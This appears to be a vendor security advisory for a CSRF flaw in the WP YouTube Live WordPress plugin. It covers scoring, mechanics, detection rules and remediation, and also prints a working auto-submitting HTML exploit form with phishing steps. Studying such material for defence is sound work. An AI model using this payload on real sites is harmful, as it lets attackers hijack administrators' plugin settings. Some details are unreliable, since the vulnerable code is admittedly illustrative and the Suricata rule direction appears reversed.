CVE-2025-53261
Executive Summary
CVE-2025-53261 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the WordPress plugin WP YouTube Live by macbookandrew, affecting versions up to and including 1.10.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or triggering unintended YouTube Live operations, without the victim's consent. The attack requires social engineering to trick an admin into clicking a crafted link or visiting a malicious page while logged into the WordPress admin panel. The CVSS score is 4.3 (Medium), and no patch is currently available. Given the plugin's integration with YouTube Live, exploitation could lead to unauthorized changes to live stream configurations, potentially disrupting broadcasts or exposing sensitive API keys.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, users must manually monitor for updates or apply mitigations until a patch is released. The plugin's codebase is not managed via NPM, PyPI, Go, or Ruby, but its inclusion in a WordPress site introduces a dependency risk.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack is executed remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need prior authentication.
- User Interaction: Required (UI:R) – Victim must click a malicious link or visit a crafted page.
- Scope: Unchanged (S:U) – The vulnerable component remains isolated.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Unauthorized modification of plugin settings or actions.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity could allow an attacker to hijack YouTube Live configurations, potentially leading to reputational damage or service disruption.
Deep Dive & Mechanics
The vulnerability resides in the WP YouTube Live plugin's administrative functions, which lack proper CSRF nonce validation. In WordPress, CSRF protection is typically implemented using a nonce (number used once) token embedded in forms and URLs. The plugin fails to verify this token when processing state-changing requests (e.g., saving settings, starting/stopping a live stream, or updating API credentials).
Attack Flow:
- An attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or image tag) that targets a vulnerable endpoint in the plugin.
- The attacker lures an authenticated WordPress administrator to visit the malicious page while their session is active.
- The victim's browser automatically sends the forged request, including their session cookies, to the WordPress site.
- The plugin processes the request without checking the CSRF nonce, executing the attacker's desired action (e.g., changing the YouTube channel ID or API key).
Root Cause: Missing or improper implementation of wp_nonce_field() and check_admin_referer() functions in the plugin's admin pages.
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the expected fix.
Vulnerable Code (wp-youtube-live/admin/class-wp-youtube-live-admin.php):
// Vulnerable: No nonce check
function save_settings() {
if ( isset( $_POST['youtube_api_key'] ) ) {
update_option( 'wp_youtube_live_api_key', sanitize_text_field( $_POST['youtube_api_key'] ) );
}
// ... other settings
}
Patched Code (Expected Fix):
function save_settings() {
// Verify CSRF nonce
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wp_youtube_live_save_settings' ) ) {
wp_die( 'Security check failed.' );
}
if ( isset( $_POST['youtube_api_key'] ) ) {
update_option( 'wp_youtube_live_api_key', sanitize_text_field( $_POST['youtube_api_key'] ) );
}
// ... other settings
}
Additionally, the form should include a nonce field:
<form method="post" action="">
<?php wp_nonce_field( 'wp_youtube_live_save_settings' ); ?>
<!-- form fields -->
</form>
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with WP YouTube Live plugin version <= 1.10.0.
- An authenticated admin session (victim).
- Attacker-controlled server to host the malicious page.
Exploit Payload (HTML):
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php?action=wp_youtube_live_save_settings" method="POST">
<input type="hidden" name="youtube_api_key" value="attacker-controlled-key" />
<input type="hidden" name="youtube_channel_id" value="attacker-channel-id" />
<input type="submit" value="Click here" />
</form>
<script>
// Auto-submit the form
document.forms[0].submit();
</script>
</body>
</html>
Steps:
- Host the HTML file on an attacker-controlled server.
- Send a phishing email to the admin with a link to the malicious page.
- Once the admin visits the page while logged into WordPress, the form auto-submits, changing the API key and channel ID to attacker-controlled values.
- The attacker can now control the YouTube Live stream settings.
Blue Team (Defensive)
Detection:
- Monitor for unexpected changes to plugin settings (e.g., API keys, channel IDs).
- Review server logs for POST requests to
/wp-admin/admin-post.phpwithaction=wp_youtube_live_*parameters from unusual referrers. - Implement Web Application Firewall (WAF) rules to block requests missing a valid nonce.
Prevention:
- Apply the principle of least privilege: restrict admin access to trusted users only.
- Use browser extensions like NoScript or uMatrix to block cross-site requests.
- Educate administrators about phishing and CSRF risks.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-post.phpwithaction=wp_youtube_live_*parameters. - Referrer headers from external domains (e.g., attacker-controlled sites).
- POST requests to
- Host:
- Modified
wp_optionstable entries:wp_youtube_live_api_key,wp_youtube_live_channel_id. - Unexpected changes in plugin settings via WordPress admin UI.
- Modified
- Logs:
- WordPress debug log entries showing missing nonce errors (if logging enabled).
- Web server access logs with unusual POST requests to admin endpoints.
Detection Engineering
YARA Rule
rule detect_wp_youtube_live_csrf_exploit {
meta:
description = "Detects CSRF exploit attempts against WP YouTube Live plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-53261"
strings:
$s1 = "wp_youtube_live_save_settings" nocase
$s2 = "youtube_api_key" nocase
$s3 = "youtube_channel_id" nocase
$s4 = "admin-post.php" nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: CSRF Exploit Against WP YouTube Live Plugin
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects POST requests to WordPress admin-post.php with WP YouTube Live actions missing nonce
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'admin-post.php'
cs-uri-query|contains: 'action=wp_youtube_live_'
condition: selection
falsepositives:
- Legitimate admin actions (if nonce is present, but this rule does not check nonce)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53261 WP YouTube Live CSRF Exploit"; flow:to_server,established; content:"POST"; http_method; content:"admin-post.php"; http_uri; content:"action=wp_youtube_live_"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released. Navigate to WordPress Admin > Plugins > Deactivate "WP YouTube Live".
- Implement a virtual patch using a WAF to block requests to
/wp-admin/admin-post.phpwithaction=wp_youtube_live_*parameters unless they include a valid nonce. - Audit admin accounts and remove any unnecessary privileged users.
Long-Term Fix:
- The vendor must release a patched version that adds CSRF nonce verification to all admin actions. Until then, consider using an alternative YouTube Live plugin with active security maintenance.
Workaround:
- Add the following code to the theme's
functions.phpto enforce nonce checks (if you can modify the plugin code):
add_action( 'admin_post_wp_youtube_live_save_settings', 'wp_youtube_live_csrf_check', 1 );
function wp_youtube_live_csrf_check() {
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'wp_youtube_live_save_settings' ) ) {
wp_die( 'CSRF validation failed.' );
}
}
Valters IT
Securing WordPress ecosystems, one plugin at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.